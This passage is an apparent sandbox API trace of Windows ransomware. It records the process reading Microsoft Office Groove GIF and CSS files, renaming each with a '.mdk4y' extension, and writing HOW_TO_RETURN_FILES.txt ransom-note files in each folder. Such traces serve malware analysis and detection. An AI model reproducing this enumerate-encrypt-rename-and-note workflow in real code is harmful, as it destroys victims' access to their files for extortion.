Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829289600000) returned 1 [0217.667] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0xde, lpOverlapped=0x0) returned 1 [0217.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829289700000) returned 1 [0217.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829289700000) returned 1 [0217.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\tab_on.gif.mdk4y")) returned 1 [0217.668] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.668] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.669] AreFileApisANSI () returned 1 [0217.669] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 129 [0217.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.670] GetFileType (hFile=0x134) returned 0x1 [0217.671] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.671] AreFileApisANSI () returned 1 [0217.671] GetACP () returned 0x4e4 [0217.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrayCheck.css", cchWideChar=13, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="GrayCheck.csscss", lpUsedDefaultChar=0x37dd1c) returned 13 [0217.671] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829290100000) returned 1 [0217.671] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xaf2, lpOverlapped=0x0) returned 1 [0217.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829290200000) returned 1 [0217.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829290200000) returned 1 [0217.673] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck.css.mdk4y")) returned 1 [0217.674] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.674] AreFileApisANSI () returned 1 [0217.674] GetACP () returned 0x4e4 [0217.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GreenTea.css", cchWideChar=12, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="GreenTea.csss", lpUsedDefaultChar=0x37dd1c) returned 12 [0217.674] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829290500000) returned 1 [0217.675] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x3a4, lpOverlapped=0x0) returned 1 [0217.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829290700000) returned 1 [0217.677] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829290700000) returned 1 [0217.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GreenTea.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\greentea.css.mdk4y")) returned 1 [0217.679] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.679] AreFileApisANSI () returned 1 [0217.679] GetACP () returned 0x4e4 [0217.679] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="LightSpirit.css", cchWideChar=15, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="LightSpirit.csss", lpUsedDefaultChar=0x37dd1c) returned 15 [0217.679] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829291000000) returned 1 [0217.681] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x411, lpOverlapped=0x0) returned 1 [0217.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829291400000) returned 1 [0217.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829291400000) returned 1 [0217.684] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css.mdk4y")) returned 1 [0217.685] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.685] AreFileApisANSI () returned 1 [0217.685] GetACP () returned 0x4e4 [0217.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Lime", cchWideChar=4, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="LimetSpirit.css", lpUsedDefaultChar=0x37dd1c) returned 4 [0217.685] AreFileApisANSI () returned 1 [0217.685] GetACP () returned 0x4e4 [0217.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=100, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\\x02Ȁ") returned 100 [0217.685] AreFileApisANSI () returned 1 [0217.685] GetACP () returned 0x4e4 [0217.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.685] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.685] AreFileApisANSI () returned 1 [0217.685] GetACP () returned 0x4e4 [0217.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.686] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.686] AreFileApisANSI () returned 1 [0217.686] GetACP () returned 0x4e4 [0217.686] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.686] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829292000000) returned 1 [0217.690] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1ce, lpOverlapped=0x0) returned 1 [0217.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829292100000) returned 1 [0217.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829292100000) returned 1 [0217.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_off.gif.mdk4y")) returned 1 [0217.692] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.692] AreFileApisANSI () returned 1 [0217.692] GetACP () returned 0x4e4 [0217.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dc90) returned 10 [0217.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829292300000) returned 1 [0217.693] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x10b, lpOverlapped=0x0) returned 1 [0217.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829292400000) returned 1 [0217.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829292400000) returned 1 [0217.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\tab_on.gif.mdk4y")) returned 1 [0217.695] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 0 [0217.695] FindClose (in: hFindFile=0x6ab450 | out: hFindFile=0x6ab450) returned 1 [0217.695] AreFileApisANSI () returned 1 [0217.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6cd010, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 124 [0217.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37d9c8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0217.697] GetFileType (hFile=0x134) returned 0x1 [0217.698] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.698] AreFileApisANSI () returned 1 [0217.698] GetACP () returned 0x4e4 [0217.698] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Lime.css", cchWideChar=8, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Lime.cssrit.css", lpUsedDefaultChar=0x37dd1c) returned 8 [0217.698] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829292900000) returned 1 [0217.699] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0xcfb, lpOverlapped=0x0) returned 1 [0217.726] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829295600000) returned 1 [0217.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829296100000) returned 1 [0217.731] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css.mdk4y")) returned 1 [0217.732] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.732] AreFileApisANSI () returned 1 [0217.732] GetACP () returned 0x4e4 [0217.733] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Maroon.css", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Maroon.csst.css", lpUsedDefaultChar=0x37dd1c) returned 10 [0217.733] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x134 [0217.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829296400000) returned 1 [0217.734] ReadFile (in: hFile=0x134, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dd1c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dd1c*=0x362, lpOverlapped=0x0) returned 1 [0217.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829296500000) returned 1 [0217.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dcb4 | out: lpPerformanceCount=0x37dcb4*=1829296500000) returned 1 [0217.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Maroon.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\maroon.css.mdk4y")) returned 1 [0217.736] FindNextFileW (in: hFindFile=0x6ab410, lpFindFileData=0x6c3440 | out: lpFindFileData=0x6c3440) returned 1 [0217.736] AreFileApisANSI () returned 1 [0217.736] GetACP () returned 0x4e4 [0217.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oasis", cchWideChar=5, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dd1c | out: lpMultiByteStr="Oasisn.css", lpUsedDefaultChar=0x37dd1c) returned 5 [0217.736] AreFileApisANSI () returned 1 [0217.736] GetACP () returned 0x4e4 [0217.736] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6cc010, cbMultiByte=101, lpWideCharStr=0x37dab0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\Ȁ") returned 101 [0217.736] AreFileApisANSI () returned 1 [0217.736] GetACP () returned 0x4e4 [0217.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dc90) returned 1 [0217.736] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.737] AreFileApisANSI () returned 1 [0217.737] GetACP () returned 0x4e4 [0217.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dc90) returned 2 [0217.737] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.737] AreFileApisANSI () returned 1 [0217.737] GetACP () returned 0x4e4 [0217.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="HEADER.GIFs", lpUsedDefaultChar=0x37dc90) returned 10 [0217.737] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829296800000) returned 1 [0217.738] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x86c, lpOverlapped=0x0) returned 1 [0217.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829297200000) returned 1 [0217.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829297200000) returned 1 [0217.742] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\header.gif.mdk4y")) returned 1 [0217.743] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.743] AreFileApisANSI () returned 1 [0217.743] GetACP () returned 0x4e4 [0217.743] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aaf1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dc90 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dc90) returned 11 [0217.743] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x138 [0217.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829297400000) returned 1 [0217.744] ReadFile (in: hFile=0x138, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dc90, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dc90*=0x1f0, lpOverlapped=0x0) returned 1 [0217.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829297500000) returned 1 [0217.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dc28 | out: lpPerformanceCount=0x37dc28*=1829297500000) returned 1 [0217.745] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis\\tab_off.gif.mdk4y")) returned 1 [0217.746] FindNextFileW (in: hFindFile=0x6ab450, lpFindFileData=0x6c38c8 | out: lpFindFileData=0x6c38c8) returned 1 [0217.746] AreFileApisANSI () returned 1 [0217.746] GetACP () returned 0x4e4 [0217.746] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aaf1c, 